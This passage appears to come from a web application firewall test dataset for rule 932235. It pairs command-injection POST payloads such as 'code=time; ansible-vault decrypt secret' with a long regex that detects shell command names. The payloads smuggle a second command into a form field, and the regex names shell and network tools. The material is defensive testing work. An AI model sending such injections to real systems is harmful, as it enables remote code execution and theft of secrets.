(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block ansible pull from remote repository" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-vault decrypt secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "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<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block decrypting ansible secrets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-playbook site.yml\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&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\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution of ansible playbooks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; chef-vault -i secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 